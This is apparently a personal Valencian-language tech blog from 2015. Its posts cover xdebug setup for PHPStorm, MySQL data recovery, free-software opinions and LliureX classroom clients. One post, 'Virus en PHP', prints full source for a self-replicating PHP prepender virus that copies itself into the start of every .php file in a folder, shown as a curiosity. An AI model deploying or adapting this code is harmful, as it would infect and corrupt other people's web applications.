dimecres, 11 de novembre de 2015

Nou espai de trebal

M'havia decidit a no tindre dos monitors, però és inviable, el nou projecte requerix mínim dos monitors:

Això sí, LliureX rlz ;) Per a jugar continuaré gastant només el del portàtil, que té la mateixa resolució i es veu molt millor. I possiblement gaste windows, i així m'evite haver de configurar el wine. Que per a un ratet que podré estar...

PHPStorm en LliureX

Comence un nou "treball" per a la ONG Huridocs. Es dedica a documentar casos de violació de drets humans al llarg del món i que valga eixa documentació en judicis i demés ajuda. El cas és que per a repasar un projecte OpenEvSys, que està programat com els antics programadors van entendre, he decidit gastar un IDE "en condicions", res d'un editor de text a pèl ;).
M'he decidit per PHPStorm. És comercial però cumplisc tres casos (amb 1 hi havia prou) en els quals és gratuït:
  1. Alumnes
  2. Docents
  3. Projectes OS
 Per tant, anem a la web:
https://www.jetbrains.com/phpstorm/ i l'abaixem. Podem provar-ho un mes gratuïtament o bé, si cumplim algun d'eixos tres casos...

Una vegada instal·lat necessitem configurar l'apache amb un mòdul de debugger per a poder executar pas a pas les aplicacions php. En LliureX la forma més fàcil és amb l'xdebug, per a instal·lar-lo:
http://www.xdebug.org/
abaixem el codi, el compilem seguint les instruccions del README i copiem el mòdul en algun lloc:
 #phpize
 #./configure --enable-xdebug
#make
#sudo mkdir /opt/xdebug
#cd modules
#cp xdebug.so /opt/xdebug

l'activem en la configuració:
#sudo vi /etc/php5/apache2/php.ini 
i afegim al final de l'arxiu:
zend_extension=/opt/xdebug/xdebug.so
xdebug.remote_enable=true


ara només falta reiniciar l'apache
#sudo service apache2 reload

i ja el tenim, ja podem depurar codi php ;) per per últim per a comprovar si està actiu el mòdul podrem mirar-ho amb un phpinfo();

dijous, 22 d’octubre de 2015

Virus en PHP

Acabe de trobar un exemple simple de virus en PHP, m'he quedat flipat de la sensillesa, és clavat als virus.bat de MS-DOS:
1. Busca tots els .php de la carpeta
2. Si no està infectat:
  2.1 Escriu el contingut de la part del virus (anomenada prepender, 391 bytes) a l'inicio de l'arxiu
  2.2 busca el següent arxiu i ves al punt dos


Pareix simple i el codi la veritat és que ho demostra:

 - - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - -
<?php // SPTH
$string=fread(fopen(__FILE__,'r'), 391);
$curdir=opendir('.'); 
while ($file = readdir($curdir)) 
{ 
  if (strstr($file, '.php'))
  {
    $victim=fopen($file, 'r+');
    if (!strstr(fread($victim, 13), 'SPTH'))
    {
      rewind($victim);
      fwrite($victim, $string.fread($victim, filesize($file)););
    }
    fclose($victim);
  } 
}
closedir($curdir);
?>
 
 

dimarts, 20 d’octubre de 2015

Comence el doctorat

Doncs ara comence el doctorat, i tinc poc de temps, possiblement les meues proves aniré publicant-les però, mai se sap, recordant  vells temps, tinc dos possibilitats i no sé que faré:

 a)
mov ah,4ch
int 21h

b)
int 27h

divendres, 18 de setembre de 2015

Google no és programari lliure

Duc des de ni sé els anys treballant en Linux. De fet, vaig passar de MS-DOS a Linux sense passar per windows 95. Només he gastat windows (ho he de confessar)per a jugar, i farà un any, el windows 8. No m'ha agradat i ara he tornat a Linux. Valga esta confessió personal per explicar el meu dubte existencial. Hi ha molta gent que critica Apple o Microsoft i diu que l'alternativa és Android , i es compra un Samung, per exemple. M'he parat a pensa-ho i pràcticament és el mateix. Android pot ser bastat en Linux i tinga bona part de codi obert, però hi ha una part que no. I el núvol de Google és completament tancat (algú té el codi del buscador o de gmail?). En general (i a no ser que instal·lem alguna rom on tot siga lliure), és un poc més lliure que ios (Darwin, el codi font del kernel d'ios, és de codi obert, el que és tancat és la seua interfície). És a dir que els serveis que proporcionen les tres companyies (buscador, correu, núvol...) són igual de tancats (i estan siguent investigats per vendre dades personals a empreses). Això parlant d'smartphones. D'ordinadors, si que hi ha distribucions completament lliurex (LliureX, per exemple, agranant cap a casa), però recorde que els serveis de google no. Per tant caldria tindre el nostre propi núvol, el nostre propi servidor de correu... i buscar un altre buscador.
He estat temptat de fer-ho, però em fa molta gossera ;)
En fi, que cadascú faça amb els seus diners el que vullga, tot este totxo sense sentit és per explicar que no hi ha diferència ètica entre gastar els serveis de Google, els de Microsoft i els de Apple, o molt poca.
(Del hardware si de cas parlarem en un altre moment)

dilluns, 3 d’agost de 2015

Recuperar les dades amb els arxius d'una base de dades mysql

Una cosa que pareix que li passe a més gent és que ubuntu (al meu cas LliureX) done un error de dependències al servidor mysql y impedisca la seua instal·lació (o en el meu cas actualització, esborrant la versió vella però impedint instal·lar la nova).
Per sort vaig fer una còpia de les carpetes per si de cas, però la més important és:
/var/lib/mysql
Un dels passos per pode instal·lar es esborrar eixa carpeta i intentar desinstalar, cosa que vaig fer, i a la de 1000 intents ho vaig aconseguir. Es donava el cas que el backup que havia fet (la política de backups és una altra discusió) no era correcte i només contenia estructura. Per tant, ja em veia perdent un dia o dos picant les dades (ja duia un dia perdut intentant reinstal·lanr el servidor). Bo, com ho he pogut recuperar? Doncs fàcil, quan saps com ;).
 Les bases de dades, en mysql, són carpetes amb arxius, cada carpeta té el nom de la base de dades.  Haurem de parar el servidor mysql per fer estes operacions (sudo service mysql stop) :
El primer pas és copiar eixa carpeta a /var/lib/mysql. Si intentem entrar des de mysql, ara només podrem veure el nom de la base de dades. Per què? Per què si ho fem, ho haurem fet amb "sudo cp", i això copia com a root.
El següent pas, serà canviar els permisos de la carpeta i el seu contingut a l'usuari i grup mysql (chmod/chgrp -R mysql ...). Si ho intentem ara, veurem les taules però no el contingut.
Per tant faltarà una cosa, i és actualitzar els índex, estos estan a l'arxiu ibdata1, que haurem de copiar de l'arrel del nostre backup, i canviar els permisos a mysql/mysql, ja que si no ho fem, el servidor no tindrà permisos per a llegir eixe arxiu i per tant, no arrancarà.
Una vegada fet açò, podrem arrancar el servidor i veurem la nostra base de dades amb estructura i dades recuperada.

dimecres, 29 de juliol de 2015

TDDs en la web

Treballant fent una aplicació web, em trobe que no sé com programar els tests (TDDs). Vull dir, com es poden programar si moltes vegades depenen de la interacció amb l'usuari? I com es fa el test de la càrrega de dades o de la inserció (a poc que la base de dades estiga ben dissenyada, cal fer un test de si el select és correcte?)...
Francament no  he trobat molta gent que ho gaste i, al menys de moment, no tinc massa interés. Però si que s'ha dissenyat una metodologia per testejar el comportament (Disseny bassat en comportament, enlloc del tradicional TDD).
Per tant tenim dos opcions:
  • Passar dels TDDs i només programar la lògica
  • Canviar de metodologia

dimecres, 22 de juliol de 2015

La importància del programari lliure

Després d'uns dos-tres anys d'haver-me declarat "fan"de Microsoft (després de més de 15 havent-me declarat enemic;)) He (re)descobert que  no m'aporta pràcticament res, en comparació al programari lliure. He havut de pagar )o utilitzar versions demo amb banners, propaganda, popups... i el resultat ha segunt el mateix (llevat d'alunes coses) que amb el programari lliure. A quina mala hora vaig decidir continuar amb Nokia i el seu windows phone, que si, va molt bé però va nugar-me a tot windows al mòbil, a al tablet, a l'ordinador...
Després de tot este rotllo personal ve la pregunta:
es pot treballar professionalment amb programari lliure? Clar que si (segons les notres necessitats). Lliure no vol dir ni cutre ni sense utilitat. No pots comparar un vmware amb un virtualbox ni un oracle amb mysql, però segons el que gastem, serien solucions perfectament vàlides (jo diria que un 90% dels casos).
lliure vol dir regalar feina? No, no vol dir això ni que ningú no cobre per treballar. De fet es mouen molts diners amb suport, formació, adaptació particular... i es paga pel treball no per un producte fet. De fet moltes vegades és una forma de donar-se a conèixer els professionals.
Hi ha experiències funcionant? I tant, des de la gestió de ciutats i pobles, fins a l'administració d'empreses. Amb voluntat, es pot.
Hi ha més bugs al programari lliure que al programari privatius? Això pot parèixer veritat, però també és veritat que tindre disponible el codi font per a tot lo món ajuda a trobar problemes, però també a solucionar-los en versions posteriors. Els programes privatius, mentres no s'entere l'empresa que l'ha creat...
Has dit que  en algunes coses era millor gastar programari privatiu?Sí, i continue diguent-ho, per exemple myqsl té problemes amb taules de més d'un milió de registres, amb Oracle ho fariems ense problemes, amb Linux hi ha molts jocs que no podem fer anar amb el wine, o no tenen l'experiència de joc que es té amb Windows(pot parèixer una xorrada però la indústria del videojoc es molt potent i mou molts diners).
Que t'ha fet canviar d'opinió? Realment continue pensant igual, no hi ha millor gamemaker que Unity 3D. VMware funciona, en la majoria dels casos millor que VirtualBox (per exemple). Però no he trobat cap millora substancial entre utilitzar LliureX i Windows, entre utilitzar OpenOffice  i la suite de Microsoft o utilitzar Chrome (google també és per a donar-li de menjar a banda) i firefox.
Hem de formatar la nostra màquina i canviar el sistema operatiu? Si tens llicència, es recomanable que tingues els dos pel que puga passar (de vegade, als portàtil es necessita un software de la casa per fer certes proves). Però òbviament si s'ha de comprar, millor no gastar diners amb llicència. Imagineu renovar un parc amb 100.000 ordinadors? a poc que coste la llicència... Feu números.

dilluns, 13 de juliol de 2015

Convertir lliurex-Desktop en client d'aula quan els usuaris del servidor no autentiquen

S'estan enviant als centres una partida d'ordinadors destinats a clients d'aula, de moment detectats amb el codi CLE2, i quan montem l'aula LliureX i creem els usuaris Llum al servidor, no podem autenticar.
El problema és que duen instal·lada una versió desktop, com podem saber-ho?
Amb l'ordre lliurex-version ens ha d'apareixer algun metapaquet que diga client, en cas de no  haver-hi cap, i només haver desktop, doncs ja ho tenim.
 Per instal·lar els paquets de client:
apt-get install lliurex-cdd-edu-class-gclient
I amb això transformariem el desktop en client.
De tota manera, estos clients venen amb la lliurex 14 instal·lada i seria recomana formatar-los i posar-los a una 15 que està basada ja en ubuntu 14 LTS